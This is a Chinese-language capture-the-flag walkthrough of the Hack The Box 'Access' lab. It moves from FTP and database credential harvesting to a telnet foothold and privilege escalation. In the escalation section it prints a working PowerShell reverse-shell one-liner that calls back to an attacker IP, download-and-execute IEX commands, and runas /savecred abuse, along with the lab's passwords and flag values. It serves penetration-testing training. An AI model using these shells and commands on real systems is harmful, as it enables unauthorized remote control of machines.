HTB:Access[WriteUP]
目录
连接至HTB服务器并启动靶机
信息收集
使用rustscan对靶机TCP端口进行开放扫描
将靶机TCP开放端口号提取并保存
使用nmap对靶机TCP开放端口进行脚本、服务扫描
使用nmap对靶机TCP开放端口进行漏洞、系统扫描
使用nmap对靶机常用UDP端口进行开放扫描
尝试匿名连接至靶机FTP服务器
将FTP传输模式设置为二进制模式
将靶机FTP服务器中的两个文件全部下载到本地
边界突破
使用mdb-tables将backup.mdb数据库文件表单列出
列出auth_user表单数据
使用WinRAR解压文件
使用大模型检索解压出来的文件
使用readpst读取该文件内容
使用telnet通过上述凭证登录靶机
权限提升
由于telnet上的操作过于不便,因此尝试通过telnet反弹shell
查看靶机系统信息
查看靶机系统内用户
查看当前用户账户信息
查看当前用户特权信息
列出当前用户存储的凭证
重新复制一个nishang的反弹Shell
控制靶机使用Administrator用户凭证加载反弹Shell
连接至HTB服务器并启动靶机
靶机IP:10.10.10.98
分配IP:10.10.16.13
信息收集
使用rustscan对靶机TCP端口进行开放扫描
rustscan -a 10.10.10.98 -r 1-65535 --ulimit 5000 | tee res
将靶机TCP开放端口号提取并保存
ports=$(grep ^[0-9] res | cut -d/ -f1 | paste -sd,)
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# grep ^[0-9] res | cut -d/ -f1 | paste -sd,
21,23,80
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ports=$(grep ^[0-9] res | cut -d/ -f1 | paste -sd,)
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo $ports
21,23,80
使用nmap对靶机TCP开放端口进行脚本、服务扫描
nmap -sT -p$ports -sCV -Pn 10.10.10.98
- 需要重点关注的端口和服务
21端口:FTP服务
23端口:TELNET服务
80端口:HTTP服务
使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -sT -p$ports --script=vuln -O -Pn 10.10.10.98
使用nmap对靶机常用UDP端口进行开放扫描
nmap -sU --top-ports 20 -Pn 10.10.10.98
尝试匿名连接至靶机FTP服务器
ftp 10.10.10.98
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ftp 10.10.10.98
Connected to 10.10.10.98.
220 Microsoft FTP Service
Name (10.10.10.98:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> type
Using ascii mode to transfer files.
- 使用type命令查看当前传输模式,可见当前为ASCII模式适用于传输文本类文件
将FTP传输模式设置为二进制模式
type binary
ftp> type binary
200 Type set to I.
将靶机FTP服务器中的两个文件全部下载到本地
边界突破
使用mdb-tables将backup.mdb数据库文件表单列出
mdb-tables backup.mdb | tr ' ' '\t' | pr -te25 | fmt -w150 | grep -iE 'user||auth'
- 我对输出结果进行简单的处理,并将带有`user`、`auth`关键字的表单进行了标记
- 此处我很快就注意到了表单:auth_user
列出auth_user表单数据
mdb-export backup.mdb auth_user | tr ',' '\t' | pr -te20
- 拿到三份凭证
admin:admin
engineer:access4u@security
backup_admin:admin
使用WinRAR解压文件
- 提示需要输入密码
- 将三组密码逐一尝试,最终使用access4u@security成功解压
使用大模型检索解压出来的文件
使用readpst读取该文件内容
- 此处我将文件名改成了1.pst
readpst 1.pst
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# readpst 1.pst
Opening PST file and indexes...
Processing Folder "Deleted Items"
"Access Control" - 2 items done, 0 items skipped.
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ls
1.pst 'Access Control.mbox'
- 查看'Access Control.mbox'文件内容
cat 'Access Control.mbox'
From "john@megacorp.com" Thu Aug 23 19:44:07 2018
Status: RO
From: john@megacorp.com <john@megacorp.com>
Subject: MegaCorp Access Control System "security" account
To: 'security@accesscontrolsystems.com'
Date: Thu, 23 Aug 2018 23:44:07 +0000
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="--boundary-LibPST-iamunique-74718066_-_-"
----boundary-LibPST-iamunique-74718066_-_-
Content-Type: multipart/alternative;
boundary="alt---boundary-LibPST-iamunique-74718066_-_-"--alt---boundary-LibPST-iamunique-74718066_-_-
Content-Type: text/plain; charset="utf-8"Hi there,
The password for the “security” account has been changed to 4Cc3ssC0ntr0ller. Please ensure this is passed on to your engineers.
Regards,
John
--alt---boundary-LibPST-iamunique-74718066_-_-<...SNIP...>
</o:shapelayout></xml><![endif]--></head><body lang=EN-US link="#0563C1" vlink="#954F72"><div class=WordSection1><p class=MsoNormal>Hi there,<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>The password for the “security” account has been changed to 4Cc3ssC0ntr0ller. Please ensure this is passed on to your engineers.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>Regards,<o:p></o:p></p><p class=MsoNormal>John<o:p></o:p></p></div></body></html>
--alt---boundary-LibPST-iamunique-74718066_-_-------boundary-LibPST-iamunique-74718066_-_---
- 由此,我们通过该邮件获得凭证
账户:security
密码:4Cc3ssC0ntr0ller
使用telnet通过上述凭证登录靶机
telnet 10.10.10.98
┌──(root㉿kali)-[/home/kali/Desktop/nishang/Shells]
└─# telnet 10.10.10.98
Trying 10.10.10.98...
Connected to 10.10.10.98.
Escape character is '^]'.
Welcome to Microsoft Telnet Servicelogin: security
password:*===============================================================
Microsoft Telnet Server.
*===============================================================
- 在C:\Users\security\Desktop目录下找到user.txt文件
C:\Users\security\Desktop>dir /a
Volume in drive C has no label.
Volume Serial Number is 8164-DB5FDirectory of C:\Users\security\Desktop
08/28/2018 06:51 AM <DIR> .
08/28/2018 06:51 AM <DIR> ..
08/21/2018 10:35 PM 282 desktop.ini
01/14/2025 11:01 AM 34 user.txt
2 File(s) 316 bytes
2 Dir(s) 3,350,814,720 bytes freeC:\Users\security\Desktop>type user.txt
53c1c4e1d7659c9c06eada27ff9e78d0
权限提升
由于telnet上的操作过于不便,因此尝试通过telnet反弹shell
- 这里借用了nishang的ps1脚本
$client = New-Object System.Net.Sockets.TCPClient('10.10.16.21',1425);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
- 攻击机侧使用nc开始监听
rlwrap -cAr nc -lvnp 1425
- 在telnet中控制靶机加载该脚本
START /B "" powershell -c IEX(New-Object Net.WebClient).downloadString('http://10.10.16.21:6666/Invoke-PowerShellTcpOneLine.ps1')
- 攻击机侧nc收到回显
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# rlwrap -cAr nc -lvnp 1425
listening on [any] 1425 ...
connect to [10.10.16.21] from (UNKNOWN) [10.10.10.98] 49158
whoami
access\security
PS C:\Users\security\Desktop>
查看靶机系统信息
systeminfo
- 该命令的重点是查看系统位数、系统版本
查看靶机系统内用户
net user
PS C:\Users\security\Desktop> net user
User accounts for \\ACCESS
-------------------------------------------------------------------------------
Administrator engineer Guest
security
The command completed successfully.
查看当前用户账户信息
net user security
- 该用户未加入其他高权限组
查看当前用户特权信息
whoami /priv
PS C:\Users\security\Desktop> whoami /priv
PRIVILEGES INFORMATION
----------------------Privilege Name Description State
============================= ============================== ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
- 没有可用的特权
列出当前用户存储的凭证
cmdkey /list
PS C:\Users\security\Desktop> cmdkey /list
Currently stored credentials:
Target: Domain:interactive=ACCESS\Administrator
Type: Domain Password
User: ACCESS\Administrator
- 由输出可见,当前用户已经保存有Administrator用户的登录凭据,虽然我们无法查看具体密码,但是可以借用该凭据以Administrator用户身份进行登录或进行其他操作
重新复制一个nishang的反弹Shell
- 攻击机侧nc开始监听
rlwrap -cAr nc -lvnp 1426
控制靶机使用Administrator用户凭证加载反弹Shell
- 这里务必加上/savecred参数,否则runas不会从用户凭据管理器检索历史凭据
runas /user:ACCESS\Administrator /savecred "powershell -c IEX(New-Object Net.WebClient).downloadString('http://10.10.16.21:6666/1.ps1')"
- 攻击机侧nc收到回显
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# rlwrap -cAr nc -lvnp 1426
listening on [any] 1426 ...
connect to [10.10.16.21] from (UNKNOWN) [10.10.10.98] 49164PS C:\Windows\system32> whoami
access\administrator
- 在C:\Users\Administrator\Desktop目录下找到root.txt文件
PS C:\Users\Administrator\Desktop> ls
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar-- 1/14/2025 11:01 AM 34 root.txt
PS C:\Users\Administrator\Desktop> gc root.txt
70922506693d2c8a6c1761d519249450
相关文章:

HTB:Access[WriteUP]
目录 连接至HTB服务器并启动靶机 信息收集 使用rustscan对靶机TCP端口进行开放扫描 将靶机TCP开放端口号提取并保存 使用nmap对靶机TCP开放端口进行脚本、服务扫描 使用nmap对靶机TCP开放端口进行漏洞、系统扫描 使用nmap对靶机常用UDP端口进行开放扫描 尝试匿名连接至…...

【论文笔记】SmileSplat:稀疏视角+pose-free+泛化
还是一篇基于dust3r的稀疏视角重建工作,作者联合优化了相机内外参与GS模型,实验结果表明优于noposplat。 abstract 在本文中,提出了一种新颖的可泛化高斯方法 SmileSplat,可以对无约束(未标定相机的)稀疏多…...

电机控制的数字化升级:基于DSP和FPGA的仿真与实现
数字信号处理器(DSP,Digital Signal Processor)在工业自动化领域的应用日益广泛。DSP是一种专门用于将模拟信号转换成数字信号并进行处理的技术,能够实现信号的数字滤波、重构、调制和解调等多项功能,确保信号处理的精…...

1/14 C++
练习:将图形类的获取周长和获取面积函数设置成虚函数,完成多态 再定义一个全局函数,能够在该函数中实现:无论传递任何图形,都可以输出传递的图形的周长和面积 #include <iostream>using namespace std; class Sh…...

java springboot3.x jwt+spring security6.x实现用户登录认证
springboot3.x jwtspring security6.x实现用户登录认证 什么是JWT JWT(JSON Web Token)是一种开放标准(RFC 7519),它用于在网络应用环境中传递声明。通常,JWT用于身份验证和信息交换。JWT的一个典型用法是…...

YOLOv5训练长方形图像详解
文章目录 YOLOv5训练长方形图像详解一、引言二、数据集准备1、创建文件夹结构2、标注图像3、生成标注文件 三、配置文件1、创建数据集配置文件2、选择模型配置文件 四、训练模型1、修改训练参数2、开始训练 五、使用示例1、测试模型2、评估模型 六、总结 YOLOv5训练长方形图像详…...

【2025最新】Poe保姆级订阅指南,Poe订阅看这一篇就够了!最方便使用各类AI!
1.Poe是什么? Poe, 全称Platform for Open Exploration。 Poe本身并不提供基础的大语言模型,而是整合多个来自不同科技巨头的基于不同模型的AI聊天机器人,其中包括来自OpenAI的ChatGPT,Anthropic的Claude、Google的PaLM…...
type1-100,2 words
dish n.餐具、碟,盘子;菜肴、饭菜(指一顿餐食中的一道菜) kind of 稍微;有点 sort of 稍微;有点儿 smallish adj.有点小的 crack 敲碎/裂,敲开,砸开,砸碎;裂开…...

Leetcode 377. 组合总和 Ⅳ 动态规划
原题链接:Leetcode 377. 组合总和 Ⅳ 可参考官解 class Solution { public:int combinationSum4(vector<int>& nums, int target) {vector<int> dp(target 1);dp[0] 1;// 总和为 i 的元素组合的个数for (int i 1; i < target; i) {// 每次都…...
计算机网络(五)——传输层
一、功能 传输层的主要功能是向两台主机进程之间的通信提供通用的数据传输服务。功能包括实现端到端的通信、多路复用和多路分用、差错控制、流量控制等。 复用:多个应用进程可以通过同一个传输层发送数据。 分用:传输层在接收数据后可以将这些数据正确分…...
【SQL】进阶知识 -- 删除表的几种方法(包含表内单个字段的删除方法)
大家好!欢迎来到本篇SQL进阶博客。如果你已经掌握了基础的SQL操作,接下来就让我们一起探索删除表的几种方法。删除表可能听起来有点危险,事实也是如此,所以在我们实际开发过程中,大多数时候我们都有数据的使用权限&…...

【搭建JavaEE】(3)前后端交互,请求响应机制,JDBC数据库连接
前后端交互 Apache Tomat B/S目前主流。 tomat包含2部分: apache容器 再认识servlet 抽象出的开发模式 项目创建配置 maven javaeetomcat 忽略一些不用的文件 webapp文件夹 HiServlet 这里面出现了webinfo,这个别删因为这个呢,是这这个这…...

项目概述、开发环境搭建(day01)
软件开发整体介绍 软件开发流程 第1阶段: 需求分析 需求规格说明书, 一般来说就是使用 Word 文档来描述当前项目的各个组成部分,如:系统定义、应用环境、功能规格、性能需求等,都会在文档中描述。产品原型,一般是通过…...

车联网安全--TLS握手过程详解
目录 1. TLS协议概述 2. 为什么要握手 2.1 Hello 2.2 协商 2.3 同意 3.总共握了几次手? 1. TLS协议概述 车内各ECU间基于CAN的安全通讯--SecOC,想必现目前多数通信工程师们都已经搞的差不多了(不要再问FvM了);…...

【python】OpenCV—Extract Horizontal and Vertical Lines—Morphology
文章目录 1、功能描述2、代码实现3、效果展示4、完整代码5、参考 更多有趣的代码示例,可参考【Programming】 1、功能描述 基于 opencv-python 库,利用形态学的腐蚀和膨胀,提取图片中的水平或者竖直线条 2、代码实现 导入基本的库函数 im…...

Redis十大数据类型详解
Redis(一) 十大数据类型 redis字符串(String) string是redis最基本的类型,一个key对应一个value string类型是二进制安全的,意思是redis的string可以包含任何数据。例如说是jpg图片或者序列化对象 一个re…...

Open FPV VTX开源之betaflight配置
Open FPV VTX开源之betaflight配置 1. 源由2. 配置3. 总结4. 参考资料5. 补充 - 飞控固件版本 1. 源由 飞控嵌入式OSD - ardupilot配置使用betaflight配套OSD图片。 Choose correct font depending on Flight Controller SW. ──> /usr/share/fonts/├──> font_btfl…...

AT32 bootloader程序与上位机程序
从8051到stm32, 从串口下载到JLINK调试,从keil到arm-none-eabi-gcc,从"Hello wrold"到通信协议,一路起来已学会很多,是时候写一下bootloader了。 基本原理 单片机代码编译完后可以生成".hex"和".bin"文件&…...
数据结构与算法之栈: LeetCode 151. 反转字符串中的单词 (Ts版)
反转字符串中的单词 https://leetcode.cn/problems/reverse-words-in-a-string/ 描述 给你一个字符串 s ,请你反转字符串中 单词 的顺序单词 是由非空格字符组成的字符串。s 中使用至少一个空格将字符串中的 单词 分隔开 返回 单词 顺序颠倒且 单词 之间用单个空…...
使用 configparser 读取 INI 配置文件
使用 configparser 读取 INI 配置文件 适合于读取 .ini 格式的配置文件。 配置文件示例 (config.ini): [DEFAULT] host localhost port 3306 [database] user admin password secret import configparser# 创建配置解析器 config configparser.ConfigParser()# 读取配…...

Swift 协议扩展精进之路:解决 CoreData 托管实体子类的类型不匹配问题(下)
概述 在 Swift 开发语言中,各位秃头小码农们可以充分利用语法本身所带来的便利去劈荆斩棘。我们还可以恣意利用泛型、协议关联类型和协议扩展来进一步简化和优化我们复杂的代码需求。 不过,在涉及到多个子类派生于基类进行多态模拟的场景下,…...
Axios请求超时重发机制
Axios 超时重新请求实现方案 在 Axios 中实现超时重新请求可以通过以下几种方式: 1. 使用拦截器实现自动重试 import axios from axios;// 创建axios实例 const instance axios.create();// 设置超时时间 instance.defaults.timeout 5000;// 最大重试次数 cons…...

全志A40i android7.1 调试信息打印串口由uart0改为uart3
一,概述 1. 目的 将调试信息打印串口由uart0改为uart3。 2. 版本信息 Uboot版本:2014.07; Kernel版本:Linux-3.10; 二,Uboot 1. sys_config.fex改动 使能uart3(TX:PH00 RX:PH01),并让boo…...

Spring数据访问模块设计
前面我们已经完成了IoC和web模块的设计,聪明的码友立马就知道了,该到数据访问模块了,要不就这俩玩个6啊,查库势在必行,至此,它来了。 一、核心设计理念 1、痛点在哪 应用离不开数据(数据库、No…...

CVE-2020-17519源码分析与漏洞复现(Flink 任意文件读取)
漏洞概览 漏洞名称:Apache Flink REST API 任意文件读取漏洞CVE编号:CVE-2020-17519CVSS评分:7.5影响版本:Apache Flink 1.11.0、1.11.1、1.11.2修复版本:≥ 1.11.3 或 ≥ 1.12.0漏洞类型:路径遍历&#x…...

使用Spring AI和MCP协议构建图片搜索服务
目录 使用Spring AI和MCP协议构建图片搜索服务 引言 技术栈概览 项目架构设计 架构图 服务端开发 1. 创建Spring Boot项目 2. 实现图片搜索工具 3. 配置传输模式 Stdio模式(本地调用) SSE模式(远程调用) 4. 注册工具提…...
LangChain知识库管理后端接口:数据库操作详解—— 构建本地知识库系统的基础《二》
这段 Python 代码是一个完整的 知识库数据库操作模块,用于对本地知识库系统中的知识库进行增删改查(CRUD)操作。它基于 SQLAlchemy ORM 框架 和一个自定义的装饰器 with_session 实现数据库会话管理。 📘 一、整体功能概述 该模块…...

从物理机到云原生:全面解析计算虚拟化技术的演进与应用
前言:我的虚拟化技术探索之旅 我最早接触"虚拟机"的概念是从Java开始的——JVM(Java Virtual Machine)让"一次编写,到处运行"成为可能。这个软件层面的虚拟化让我着迷,但直到后来接触VMware和Doc…...

java高级——高阶函数、如何定义一个函数式接口类似stream流的filter
java高级——高阶函数、stream流 前情提要文章介绍一、函数伊始1.1 合格的函数1.2 有形的函数2. 函数对象2.1 函数对象——行为参数化2.2 函数对象——延迟执行 二、 函数编程语法1. 函数对象表现形式1.1 Lambda表达式1.2 方法引用(Math::max) 2 函数接口…...

使用python进行图像处理—图像变换(6)
图像变换是指改变图像的几何形状或空间位置的操作。常见的几何变换包括平移、旋转、缩放、剪切(shear)以及更复杂的仿射变换和透视变换。这些变换在图像配准、图像校正、创建特效等场景中非常有用。 6.1仿射变换(Affine Transformation) 仿射变换是一种…...